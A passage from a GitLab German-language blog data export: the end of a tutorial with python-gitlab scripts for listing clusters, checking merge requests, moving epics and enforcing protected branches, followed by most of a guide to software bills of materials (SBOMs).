clusters\\n\\n\")\n\nfor g_id, g_clusters in group_clusters.items():\n    url = gl.groups.get(g_id).web_url\n    print(\"Group ID {g_id}: {u}\\n\\n\".format(g_id=g_id, u=url))\n    print_clusters(g_clusters)\n\nprint(\"## Project clusters\\n\\n\")\n\nfor p_id, p_clusters in project_clusters.items():\n    url = gl.projects.get(p_id).web_url\n    print(\"Project ID {p_id}: {u}\\n\\n\".format(p_id=p_id, u=url))\n    print_clusters(p_clusters)\n```\n\n\nHier findest du das vollständige\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/list_cert_based_kubernetes_clusters.py).\n\n\n### Team-Effizienz: Prüfe, ob bestehende Merge-Requests nach dem Mergen\neiner großen Refactoring-MR neu gebasht werden müssen\n\n\nDas [GitLab-Handbuch-Repository](https://handbook.gitlab.com/handbook/) ist ein großes Monorepo mit\nzahlreichen Merge-Requests, die erstellt, geprüft, genehmigt und\nzusammengeführt werden müssen. Einige Prüfungen dauern länger als andere,\ninsbesondere wenn Zusammenführungsanfragen mehrere Seiten betreffen,\nbeispielsweise wenn ein String umbenannt wird oder Änderungen auf\n[alle](/handbook/about/#count-handbook-pages) Handbuchseiten ausgedehnt\nwerden. Das Marketing-Handbuch wurde umstrukturiert, was zu vielen\nVerschiebungen oder Umbenennungen von Verzeichnissen und Pfaden führte.\n\n\nMit der Zeit nahmen die Issues zu, und es bestand die Sorge, dass andere\nMerge-Anfragen nach dem Zusammenführen der großen Änderungen auf Konflikte\nstoßen könnten. Es wurde festgestellt, dass Python-Gitlab in der Lage ist,\nalle Merge-Requests in einem bestimmten Projekt abzurufen, einschließlich\nDetails über den Git-Zweig, geänderte Quellpfade und vieles mehr.\n\n\nDas daraus resultierende Skript konfiguriert eine Liste von Quellpfaden, die\nvon allen pythongitlab-Merge-Requests berührt werden, und vergleicht die\nDiffs der Merge-Requests mit mr.diffs.list(), um festzustellen, ob ein\nMuster mit dem Wert in old_path. übereinstimmt. Bei einer Übereinstimmung\nprotokolliert das Skript diese und speichert die Zusammenführungsanforderung\nim seen_mr-Wörterbuch für die spätere Zusammenfassung. Zusätzlich werden\nAttribute gesammelt, um eine Markdown-Aufgabenliste mit URLs zum leichteren\nEinfügen in Issue-Beschreibungen zu erstellen.\n\n\n```python\n\nPATH_PATTERNS = [\n    'path/to/handbook/source/page.md',\n]\n\n\n# Only list opened MRs\n\n#\nhttps://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_requests.html#project-merge-requests\n\nmrs = project.mergerequests.list(state='opened', iterator=True)\n\n\nseen_mr = {}\n\n\nfor mr in mrs:\n    # https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-request-diffs\n    real_mr = project.mergerequests.get(mr.get_id())\n    real_mr_id = real_mr.attributes['iid']\n    real_mr_url = real_mr.attributes['web_url']\n\n    for diff in real_mr.diffs.list(iterator=True):\n        real_diff = real_mr.diffs.get(diff.id)\n\n        for d in real_diff.attributes['diffs']:\n            for p in PATH_PATTERNS:\n                if p in d['old_path']:\n                    print(\"MATCH: {p} in MR {mr_id}, status '{s}', title '{t}' - URL: {mr_url}\".format(\n                        p=p,\n                        mr_id=real_mr_id,\n                        s=mr_status,\n                        t=real_mr.attributes['title'],\n                        mr_url=real_mr_url))\n\n                    if not real_mr_id in seen_mr:\n                        seen_mr[real_mr_id] = real_mr\n\nprint(\"\\n# MRs to update\\n\")\n\n\nfor id, real_mr in seen_mr.items():\n    print(\"- [ ] !{mr_id} - {mr_url}+ Status: {s}, Title: {t}\".format(\n        mr_id=id,\n        mr_url=real_mr.attributes['web_url'],\n        s=real_mr.attributes['detailed_merge_status'],\n        t=real_mr.attributes['title']))\n```\n\n\n## DevSecOps-Anwendungsfälle für API-Schreibaktionen\n\n\nDas authentifizierte Zugriffstoken benötigt den vollen Anwendungsbereich der\n[`api`](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes).\n\n\nDie folgenden Anwendungsfälle werden diskutiert:\n\n\n- Verschieben von Epics zwischen Gruppen\n\n- Compliance: Sicherstellen, dass Projekteinstellungen nicht überschrieben\nwerden\n\n- Notizen machen, Fälligkeitsübersicht erstellen\n\n\n### Verschieben von Epics zwischen Gruppen\n\n\nManchmal ist es erforderlich, Epics, ähnlich wie Issues, in eine andere\nGruppe zu verschieben. Eine Frage im GitLab-Marketing-Slack-Kanal hat dazu\ngeführt, einen\n[Funktionsvorschlag](https://gitlab.com/gitlab-org/gitlab/-/issues/12689)\nfür die Benutzeroberfläche und die\n[Schnellaktionen](/blog/improve-your-gitlab-productivity-with-these-10-tips/)\nzu prüfen und später über das Schreiben eines API-Skripts nachzudenken, um\ndie Schritte zu automatisieren.\n\n\n### Automatisierung des Verschiebens von Epics\n\n\nDie Idee ist einfach: Ein Epic wird von einer Quellgruppe in eine Zielgruppe\nverschoben, wobei Titel, Beschreibung und Labels kopiert werden. Da Epics es\nerlauben, Themen zu gruppieren, müssen sie auch dem Ziel-Epic neu zugewiesen\nwerden. Parent-Child-Epic-Relationships müssen dabei berücksichtigt werden:\nAlle Child-Epics der Quell-Epics müssen dem Ziel-Epic neu zugewiesen werden.\n\n\nDas folgende Skript sucht zunächst alle\n[Attribute](https://python-gitlab.readthedocs.io/en/stable/gl_objects/epics.html)\ndes Quellepos und erstellt dann ein neues Zielepos mit den minimalen\nAttributen: Titel und Beschreibung. Die Liste der Bezeichnungen wird kopiert\nund die Änderungen werden mit dem save()-Aufruf beibehalten. Die Ausgaben,\ndie dem Epos zugeordnet sind, müssen im Zielepos neu erstellt werden.\n\n\nDer create()-Aufruf erzeugt das Beziehungselement und nicht ein neues\nIssue-Objekt selbst. Das Verschieben von Child-Epics erfordert einen anderen\nAnsatz, da die Beziehung umgekehrt ist: Die parent_id des Child-Epics muss\nmit der ID des Quell-Epics verglichen und bei Übereinstimmung auf die ID des\nZiel-Epics aktualisiert werden. Nachdem alles erfolgreich kopiert wurde,\nmuss das Quell-Epos in den closed-Zustand versetzt werden.\n\n\n```python\n\n#!/usr/bin/env python\n\n\n# Description: Show how epics can be moved between groups, including title,\ndescription, labels, child epics and issues.\n\n# Requirements: python-gitlab Python libraries. GitLab API write access, and\nmaintainer access to all configured groups/projects.\n\n# Author: Michael Friedrich \u003Cmfriedrich@gitlab.com>\n\n# License: MIT, (c) 2023-present GitLab B.V.\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n# https://gitlab.com/gitlab-da/use-cases/gitlab-api\n\nSOURCE_GROUP_ID = os.environ.get('GL_SOURCE_GROUP_ID', 62378643)\n\n# https://gitlab.com/gitlab-da/use-cases/gitlab-api/epic-move-target\n\nTARGET_GROUP_ID = os.environ.get('GL_TARGET_GROUP_ID', 62742177)\n\n# https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1\n\nEPIC_ID = os.environ.get('GL_EPIC_ID', 1)\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Main\n\n# Goal: Move epic to target group, including title, body, labels, and child\nepics and issues.\n\nsource_group = gl.groups.get(SOURCE_GROUP_ID)\n\ntarget_group = gl.groups.get(TARGET_GROUP_ID)\n\n\n# Create a new target epic and copy all its items, then close the source\nepic.\n\nsource_epic = source_group.epics.get(EPIC_ID)\n\n# print(source_epic) #debug\n\n\nepic_title = source_epic.title\n\nepic_description = source_epic.description\n\nepic_labels = source_epic.labels\n\nepic_issues = source_epic.issues.list()\n\n\n# Create the epic with minimal attributes\n\ntarget_epic = target_group.epics.create({\n    'title': epic_title,\n    'description': epic_description,\n})\n\n\n# Assign the list\n\ntarget_epic.labels = epic_labels\n\n\n# Persist the changes in the new epic\n\ntarget_epic.save()\n\n\n# Epic issues need to be re-assigned in a loop\n\nfor epic_issue in epic_issues:\n    ei = target_epic.issues.create({'issue_id': epic_issue.id})\n\n# Child epics need to update their parent_id to the new epic\n\n# Need to search in all epics, use lazy object loading\n\nfor sge in source_group.epics.list(lazy=True):\n    # this epic has the source epic as parent epic?\n    if sge.parent_id == source_epic.id:\n        # Update the parent id\n        sge.parent_id = target_epic.id\n        sge.save()\n\nprint(\"Copied source epic {source_id} ({source_url}) to target epic\n{target_id} ({target_url})\".format(\n    source_id=source_epic.id, source_url=source_epic.web_url,\n    target_id=target_epic.id, target_url=target_epic.web_url))\n\n# Close the old epic\n\nsource_epic.state_event = 'close'\n\nsource_epic.save()\n\nprint(\"Closed source epic {source_id} ({source_url})\".format(\n    source_id=source_epic.id, source_url=source_epic.web_url))\n\n```\n\n\n```shell\n\n$  python3 move_epic_between_groups.py\n\nCopied source epic 725341\n(https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1) to\ntarget epic 725358\n(https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/epic-move-target/-/epics/6)\n\nClosed source epic 725341\n(https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1)\n\n```\n\n\nDas\n[Ziel-Epic](https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/epic-move-target/-/epics/5)\nwurde erstellt und zeigt das erwartete Ergebnis: Derselbe Titel, dieselbe\nBeschreibung, dieselben Bezeichnungen, dasselbe untergeordnete Epic und\ndieselben Issues.\n\n\n![Target epic which has all attributes copied from the source epic: title,\ndescription, labels, child epics,\nissues](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_moved_epic_with_all_attributes.png){:\n.shadow}\n\n\n**Übung:** Das Skript kopiert noch keine\n[Kommentare](https://python-gitlab.readthedocs.io/en/stable/gl_objects/notes.html)\nund\n[Diskussionsstränge](https://python-gitlab.readthedocs.io/en/stable/gl_objects/discussions.html).\nRecherchiere und hilf mit, das Skript zu aktualisieren – Merge-Requests\nwillkommen!\n\n\n### Compliance: Sicherstellen, dass Projekteinstellungen nicht überschrieben\nwerden\n\n\nProjekt- und Gruppeneinstellungen können versehentlich von Teammitgliedern\nmit Administratorrechten geändert werden. Die Compliance-Anforderungen\nmüssen erfüllt werden. Ein weiterer Anwendungsfall ist die Verwaltung der\nKonfiguration mit Infrastructure-as-Code-Tools, um sicherzustellen, dass die\nKonfiguration von GitLab-Instanzen, -Gruppen, -Projekten usw. erhalten\nbleibt und immer dieselbe ist. Tools wie Ansible oder Terraform können ein\nAPI-Skript aufrufen oder die Python-GitLab-Bibliothek verwenden, um Aufgaben\nzur Verwaltung von Einstellungen auszuführen.\n\n\nIm folgenden Beispiel ist nur der main-Zweig geschützt.\n\n\n![GitLab project settings for repositories and protected branches, main\nbranch](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main.png){:\n.shadow}\n\n\nNehmen wir an, dass ein neuer production-Zweig hinzugefügt wurde und\nebenfalls geschützt werden soll. Das folgende\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/enforce_protected_branches.py)\ndefiniert das Wörterbuch der geschützten Zweige und ihre Zugriffsebenen für\nPush-/Merge-Berechtigungen auf Maintainer-Ebene und baut die Vergleichslogik\nauf der Grundlage der\n[python-gitlab-Dokumentation](https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html)\nzu geschützten Zweigen auf.\n\n\n```python\n\n#!/usr/bin/env python\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n# https://gitlab.com/gitlab-da/use-cases/\n\nGROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nPROTECTED_BRANCHES = {\n    'main': {\n        'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n        'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n    },\n    'production': {\n        'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n        'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n    },\n}\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Main\n\ngroup = gl.groups.get(GROUP_ID)\n\n\n# Collect all projects in group and subgroups\n\nprojects = group.projects.list(include_subgroups=True, all=True)\n\n\nfor project in projects:\n    # Retrieve a full manageable project object\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n    manageable_project = gl.projects.get(project.id)\n\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/protected_branches.html\n    protected_branch_names = []\n\n    for pb in manageable_project.protectedbranches.list():\n        manageable_protected_branch = manageable_project.protectedbranches.get(pb.name)\n        print(\"Protected branch name: {n}, merge_access_level: {mal}, push_access_level: {pal}\".format(\n            n=manageable_protected_branch.name,\n            mal=manageable_protected_branch.merge_access_levels,\n            pal=manageable_protected_branch.push_access_levels\n        ))\n\n        protected_branch_names.append(manageable_protected_branch.name)\n\n    for branch_to_protect, levels in PROTECTED_BRANCHES.items():\n        # Fix missing protected branches\n        if branch_to_protect not in protected_branch_names:\n            print(\"Adding branch {n} to protected branches settings\".format(n=branch_to_protect))\n            p_branch = manageable_project.protectedbranches.create({\n                'name': branch_to_protect,\n                'merge_access_level': gitlab.const.AccessLevel.MAINTAINER,\n                'push_access_level': gitlab.const.AccessLevel.MAINTAINER\n            })\n```\n\n\nWenn das Skript ausgeführt wird, werden der bestehende main-Zweig und ein\nHinweis, dass die production aktualisiert wird, ausgegeben. Der Screenshot\naus den Repository-Einstellungen verdeutlicht diese Aktion.\n\n\n```\n\n$ python3\nenforce_protected_branches.py\n─╯\n\nProtected branch name: main, merge_access_level: [{'id': 67294702,\n'access_level': 40, 'access_level_description': 'Maintainers', 'user_id':\nNone, 'group_id': None}], push_access_level: [{'id': 68546039,\n'access_level': 40, 'access_level_description': 'Maintainers', 'user_id':\nNone, 'group_id': None}]\n\nAdding branch production to protected branches settings\n\n```\n\n\n![GitLab project settings for repositories and protected branches, main and\nproduction\nbranch](https://about.gitlab.com/images/blogimages/efficient-devsecops-workflows-python-gitlab-handson/python_gitlab_protected_branches_settings_main_production.png){:\n.shadow}\n\n\n### Notizen machen, Fälligkeitsübersicht erstellen\n\n\nEine Diskussion auf [Hacker\nNews](https://news.ycombinator.com/item?id=32155848) über Tools zum\nErstellen von Notizen hat mich dazu inspiriert, eine Übersicht in Form einer\nMarkdown-Tabelle zu erstellen, die aus Dateien, die Notizen aufnehmen,\ngeholt und nach dem geparsten Fälligkeitsdatum sortiert wird. Das\n[Skript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/generate_snippets_index_by_due_date.py)\nist hier zu finden und etwas komplexer zu verstehen.\n\n\n\u003C!--\n\n# 2022-07-19 Notes\n\n\nHN topic about taking notes: https://news.ycombinator.com/item?id=32152935\n\n\n-->\n\n\n***Die englischsprachige\n[Originalversion](https://about.gitlab.com/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation/)\ndieses Artikels wurde bereits aktualisiert und erhält einige weitere Tipps,\nwelche wir der deutschen Version beizeiten hinzufügen werden.***\n",[235,767,787,746],"2025-05-16",{"slug":3544,"featured":6,"template":682},"efficient-devsecops-workflows-hands-on-python-gitlab-api-automation","content:de-de:blog:efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml","Efficient Devsecops Workflows Hands On Python Gitlab Api Automation","de-de/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation.yml","de-de/blog/efficient-devsecops-workflows-hands-on-python-gitlab-api-automation",{"_path":3550,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3551,"content":3557,"config":3564,"_id":3566,"_type":16,"title":3567,"_source":17,"_file":3568,"_stem":3569,"_extension":20},"/de-de/blog/the-ultimate-guide-to-sboms",{"ogTitle":3552,"schema":3553,"ogImage":3554,"ogDescription":3555,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3556,"title":3552,"canonicalUrls":3556,"description":3555},"Der ultimative Leitfaden zu SBOM","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Der ultimative Leitfaden zu SBOM\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-10-25\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664571/Blog/Hero%20Images/blog-image-template-1800x945__8_.png","Unser Leitfaden erklärt die Software Bill of Materials (SBOM) einfach und praxisnah. ✓ Definition ✓ Bedeutung ✓ Arten ✓ Vorteile ✓ GitLab-SBOM ➤ Lesen!","https://about.gitlab.com/blog/the-ultimate-guide-to-sboms",{"heroImage":3554,"body":3558,"authors":3559,"updatedDate":3560,"date":3561,"title":3552,"tags":3562,"description":3563,"category":765},"In der heutigen digitalen Landschaft ist der Fokus auf Anwendungssicherheit innerhalb der Softwarebereitstellungskette kritischer denn je. Die Integration von Abhängigkeiten in Software erfordert Transparenz und Sicherheitsmaßnahmen, die oft komplex in der Implementierung und Verwaltung sind. Hier wird eine Software Bill of Materials (SBOM) unverzichtbar.\n\nUnser Leitfaden taucht tief in die Welt der SBOMs ein, beleuchtet ihre zentrale Rolle in einer multifunktionalen [DevSecOps-Strategie](https://about.gitlab.com/de-de/topics/devsecops/) und zeigt auf, wie du die SBOM-Gesundheit deiner Anwendung verbessern kannst – mit dem Ziel, die Cybersecurity deines Unternehmens zu stärken.\n\n## Inhalt - Der ultimative Guide zu SBOMs\n\n- [Was ist eine SBOM?](#was-ist-eine-software-bill-of-materials%3F)\n- [Warum sind SBOMs wichtig?](#warum-sind-sboms-wichtig%3F)\n- [Arten von SBOM-Datenaustauschstandards](#arten-von-sbom-datenaustauschstandards)\n- [Vorteile der Kombination von SBOMs und Software-Vulnerability-Management](#vorteile-der-kombination-von-sboms-und-software-vulnerability-management)\n- [Dynamische GitLab SBOMs](#dynamische-gitlab-sboms)\n- [SBOM-Generierung und -Verwaltung skalieren](#sbom-generierung-und-sbom-verwaltung-skalieren)\n- [SBOMs einlesen und zusammenführen](#sboms-einlesen-und-zusammenführen)\n- [Schwachstellen schneller beheben](#schwachstellen-schneller-beheben)\n- [Kontinuierliche SBOM-Analyse](#kontinuierliche-sbom-analyse)\n- [Vertrauen in SBOMs aufbauen](#vertrauen-in-sboms-aufbauen)\n- [Die Zukunft der SBOM-Funktionalität von GitLab](#die-zukunft-der-sbom-funktionalität-von-gitlab)\n- [Erste Schritte mit SBOMs](#erste-schritte-mit-sboms)\n- [SBOM-FAQ](#sbom-faq)\n\n## Was ist eine Software Bill of Materials?\n\nEine SBOM dient als umfassende [Liste der Komponenten](https://www.cisa.gov/sbom#), die Software ausmachen. Sie beleuchtet das Netzwerk von Bibliotheken, Tools und Prozessen, die im gesamten Entwicklungslebenszyklus verwendet werden. In Kombination mit Tools zum Management von Sicherheitslücken offenbart eine SBOM nicht nur genau diese potenziellen Sicherheitslücken in Softwareprodukten, sondern ebnet auch den Weg für strategische Risikominderung. \n\nEine SBOM ist ein verschachteltes Inventar oder eine Liste von Punkten, die Softwarekomponenten ausmachen. Zusätzlich zu den Komponenten selbst enthalten SBOMs wichtige Informationen über die Bibliotheken, Tools und Prozesse, die zur Entwicklung, zum Aufbau und zur Bereitstellung eines Software-Artefakts verwendet werden.\n\nDas Konzept des SBOM existiert seit mehr als einem Jahrzehnt. Im Rahmen der Bemühungen, die im Jahr 2023 veröffentlichte Nationale Cyber-Strategie umzusetzen, hilft CISA Secure by Design-Softwareherstellern, Sicherheitsprinzipien zu übernehmen und Cybersicherheit in ihre Produkte zu integrieren. Die [deutsche Regierung](https://www.bsi.bund.de/DE/Service-Navi/Presse/Alle-Meldungen-News/Meldungen/TR-03183-2-SBOM-Anforderungen.html) hat bewährte Verfahren herausgegeben, die Softwareentwickler(innen) im öffentlichen Sektor dazu bewegen, SBOMs in ihre Softwarepakete aufzunehmen. Auch auf dem privaten Sektor sindSBOMs immer mehr auf dem Vormarsch.\n\nObwohl SBOMs oft mit eigenständiger Software erstellt werden, integrieren Plattformen wie GitLab die SBOM-Generierung schon früh in den DevSecOps-Workflow.\n\n![supply chain security sdlc](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/supply_chain_security_sdlc.png)\n\n## Warum sind SBOMs wichtig?\n\nModerne Softwareentwicklung ist darauf fokussiert, Anwendungen schneller und effizienter zu liefern. Das führt oft dazu, dass Entwickler(innen) Code aus Open-Source-Repositories oder proprietären Paketen in ihre Anwendungen einbauen. Laut dem [Open Source Security and Risk Analysis-Bericht 2024 von Synopsys](https://www.synopsys.com/content/dam/synopsys/sig-assets/reports/rep-ossra-2024.pdf), der über 1.000 kommerzielle Codebasen aus 17 Branchen im Jahr 2023 untersuchte, enthielten 96 % der gesamten Codebasen Open Source und 84 % der bewerteten Codebasen zeigten deutlicheSicherheitslücken.\n\nDie Einbindung von Code aus unbekannten Repositories erhöht das Risiko von Schwachstellen, die von Hackern ausgenutzt werden können. Tatsächlich wurde der [Angriff auf SolarWinds im Jahr 2020](https://www.spektrum.de/news/solarwinds-ein-hackerangriff-der-um-die-welt-geht/1819187) durch die Aktivierung einer bösartigen Code-Injektion in einem Paket ausgelöst, das von SolarWinds Orion-Produkt verwendet wurde. Kunden entlang der gesamten Softwarebereitstellungskette waren erheblich davon betroffen. Andere Angriffe, einschließlich der log4j-Schwachstelle, die mehrere kommerzielle Softwareanbieter traf, unterstrichen die Notwendigkeit einer genauen Untersuchung von Anwendungsabhängigkeiten, um Risiken in der gesamten [Softwarebereitstellungskette](https://about.gitlab.com/de-de/solutions/supply-chain/) zu bewerten.\n\nDarüber hinaus stellt das Auffinden und Beheben einer Sicherheitslücke einen Kostenfaktor dar –was die Bedeutung von SBOMs weiter unterstreicht. SBOMs ermöglichen Transparenz in Bezug auf Abhängigkeiten und können dazu genutzt werden, Schwachstellen sowie Lizenzen zu identifizieren, die nicht den internen Vorgaben entsprechen.\n\n## Arten von SBOM-Datenaustauschstandards   \n\nSBOMs sind am effektivsten, wenn die Generierung und Verarbeitung von Informationen wie Name, Version, Packager und weiteren Daten automatisiert erfolgen kann. Dies wird optimal erreicht, wenn alle Beteiligten ein standardisiertes Format für den Datenaustausch verwenden.\n\nEs gibt zwei wesentliche Standards für den SBOM-Datenaustausch:\n\n- [OWASP CycloneDX](https://cyclonedx.org/capabilities/sbom/)\n- [SPDX](https://spdx.dev/)\n\nGitLab setzt für die SBOM-Generierung auf CycloneDX, da dieser Standard präzise und benutzerfreundlich ist, komplexe Abhängigkeiten vereinfacht und durch seine Erweiterbarkeit auch spezialisierte sowie zukünftige Anwendungsfälle abdeckt.\n\n## Vorteile der Kombination von SBOMs und Software-Vulnerability-Management\n\nSBOMs sind für DevSecOps-Teams und Software-Nutzer(innen) aus mehreren Gründen äußerst vorteilhaft:\nSie ermöglichen einen Standardansatz, um zu verstehen, welche zusätzlichen Softwarekomponenten in einer Anwendung enthalten sind und wo sie deklariert sind.\nSie bieten einen kontinuierlichen Einblick in den Entstehungsprozess einer Anwendung, einschließlich Details über die Herkunft des Codes von Drittanbietern und Host-Repositories.\nSie bieten ein hohes Maß an Sicherheitstransparenz, sowohl für den von Erstanbietern entwickelten Code als auch für die übernommene Open-Source-Software.\nDie Details, die SBOMs bieten, ermöglichen es einem [DevOps-Team](https://about.gitlab.com/de-de/topics/devops/), Schwachstellen zu identifizieren, die potenziellen Risiken zu bewerten und sie dann zu entschärfen.\nSBOMs können die Transparenz liefern, die die Käufer von Anwendungen heute verlangen.\n\n## Dynamische GitLab-SBOMs \n\nDamit SBOMs ihr volles Potenzial entfalten können, müssen sie automatisch generiert, mit Anwendungssicherheitsscans verbunden, in Dashboards integriert und kontinuierlich aktualisiert werden. GitLab unterstützt all diese Ziele und bietet dabei umfassende Funktionen zur Sicherung der Softwarebereitstellungskette.\n\n![Dynamic SBOM management](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749673653/Blog/Content%20Images/Screenshot_2024-05-03_at_10.53.28_AM.png)\n\n### SBOM-Generierung und SBOM-Verwaltung skalieren\n\nZur Einhaltung interner Richtlinien und Vorschriften ist es wichtig, über genaue und umfassende SBOMs zu verfügen, die Open-Source-, Drittanbieter- und unternehmenseigene Software abdecken. Um SBOMs für jede Komponente und Produktversion effektiv zu verwalten, ist ein rationalisierter Prozess für die Erstellung, Zusammenführung, Validierung und Genehmigung von SBOMs erforderlich. Die Abhängigkeitslistenfunktion von GitLab fasst bekannte Schwachstellen- und Lizenzdaten in einer einzigen Ansicht auf der GitLab-Benutzeroberfläche zusammen. Die Informationen des Abhängigkeitsdiagramms werden auch als Teil des Abhängigkeits-Scanberichts generiert. Dadurch erhalten Benutzer(innen) einen umfassenden Einblick in Abhängigkeiten und Risiken innerhalb ihrer Projekte oder in Projektgruppen. Darüber hinaus kann in der CI-Pipeline ein JSON-Artefakt im CycloneDX-Format erzeugt werden. Diese API bietet einen differenzierteren und anpassbaren Ansatz für die SBOM-Erstellung. SBOMs können über die Benutzeroberfläche, eine bestimmte Pipeline oder ein Projekt oder über die GitLab-API exportiert werden.\n\n### SBOMs einlesen und zusammenführen\n\nGitLab kann SBOMs von Drittanbietern einlesen und bietet eine umfängliche Sicherheitstransparenz sowohl für Drittanbieter-Code als auch für eingebundene Open-Source-Software. Mit GitLab kannst du einen CI/CD-Job verwenden, um mehrere CycloneDX-SBOMs nahtlos in eine einzige SBOM zusammenzuführen. Durch die Verwendung implementierungsspezifischer Details in den CycloneDX-Metadaten jeder SBOM, wie etwa die Position von Build- und Sperrdateien, werden doppelte Informationen aus der resultierenden Datei entfernt. Diese Daten werden auch automatisch mit Lizenz- und Schwachstelleninformationen für die in der SBOM enthaltenen Komponenten angereichert.\n\n### Schwachstellen schneller beheben\n\nDie schnellere Entwicklung hochwertiger Produkte erfordert aussagekräftige Sicherheitsergebnisse, damit Entwickler(innen) die kritischsten Schwachstellen beheben können. GitLab hilft bei der Sicherung deiner Bereitstellungskette, indem es nach Schwachstellen im Quellcode, in Containern, Abhängigkeiten und laufenden Anwendungen sucht. GitLab bietet einen umfassenden Sicherheitsscanner mit Funktionen für statische Anwendungssicherheitstests (SAST), dynamische Anwendungssicherheitstests (DAST), Containerscans und Softwarekompositionsanalysen (SCA), um dich umfassend vor neuen Bedrohungen zu schützen. Um Entwickler(innen) und Sicherheitsingenieur(innen) zu helfen, Schwachstellen besser zu verstehen und effizienter zu beheben, bietet GitLab Duo Vulnerability Explanation, eine KI-gestützte Funktion. Sie erläutert eine bestimmte Schwachstelle, wie sie ausgenutzt werden kann und empfiehlt vor allem, wie die Schwachstelle zu beheben ist. In Kombination mit GitLab Duo Vulnerability Resolution können DevSecOps-Teams Schwachstellen mit nur wenigen Klicks intelligent identifizieren, analysieren und beheben.\n\nDie Plattform unterstützt auch die Erstellung neuer Richtlinien (und die Durchsetzung der Compliance), die auf neu entdeckten Schwachstellen basieren.\n\n### Kontinuierliche SBOM-Analyse\n\nGitLab Continuous Vulnerability Scanning löst Scans in allen Projekten aus, bei denen entweder Container-Scans, Abhängigkeits-Scans oder beide aktiviert sind, unabhängig von einer Pipeline. Wenn neue Common Vulnerabilities and Exposures (CVEs) in der National Vulnerability Database (NVD) gemeldet werden, müssen die Benutzer(innen) ihre Pipelines nicht neu starten, um die neuesten Feeds zu erhalten. GitLabs Vulnerability Research Team fügt diese CVEs zur GitLab Advisory Database hinzu – und diese Hinweise werden automatisch als Schwachstellen in GitLab gemeldet. Dadurch wird GitLabs SBOM dynamisch.\n\n### Vertrauen in SBOMs aufbauen\n\nOrganisationen, die [Compliance-Funktionen](https://about.gitlab.com/de-de/solutions/compliance/) benötigen, können GitLab verwenden, um Bestätigungen für alle Build-Artefakte zu erstellen, die vom [GitLab Runner](https://docs.gitlab.com/runner/) produziert werden. Der Prozess ist sicher, da er vom GitLab Runner selbst durchgeführt wird, ohne dass Daten an einen externen Dienst übergeben werden müssen.\n\n### Die Zukunft der SBOM-Funktionalität von GitLab\n\nDie Sicherheit der [Softwarebereitstellungskette](https://about.gitlab.com/direction/supply-chain/) bleibt aufgrund der häufigen Angriffe auf große Softwareanbieter und der gezielten Bemühungen von Angreifern im Open-Source-Ökosystem ein kritisches Thema in der Cybersecurity- und Softwareindustrie. Auch wenn sich die SBOM-Branche schnell weiterentwickelt, gibt es weiterhin Bedenken, wie SBOMs generiert werden, wie häufig diese Generierung erfolgt, wo sie gespeichert werden, wie man mehrere SBOMs für komplexe Anwendungen kombiniert, wie man sie analysiert und wie man sie für Anwendungen nutzt.\n\nGitLab hat SBOMs zu einem integralen Bestandteil seiner Softwarebereitstellungskettenstrategie gemacht und verbessert kontinuierlich seine SBOM-Fähigkeiten innerhalb der DevSecOps-Plattform, einschließlich der Planung neuer Funktionen und Funktionalitäten. Zu den jüngsten Verbesserungen gehören die Automatisierung der Bestätigungserstellung, die digitale Signierung von Build-Artefakten und die Unterstützung extern generierter SBOMs. \n\nDarüber hinaus hat GitLab innerhalb der Plattform ein solides [SBOM Maturity Model](https://handbook.gitlab.com/handbook/security/security-assurance/dedicated-compliance/sbom-plan/) , etabliert, das Schritte wie die automatische SBOM-Generierung, das Sourcing von SBOMs aus der Entwicklungsumgebung, die Analyse von SBOMs für Artefakte und die Förderung der digitalen Signierung von SBOMs umfasst. GitLab plant auch die Einführung der automatischen digitalen Signatur von Build-Artefakten in zukünftigen 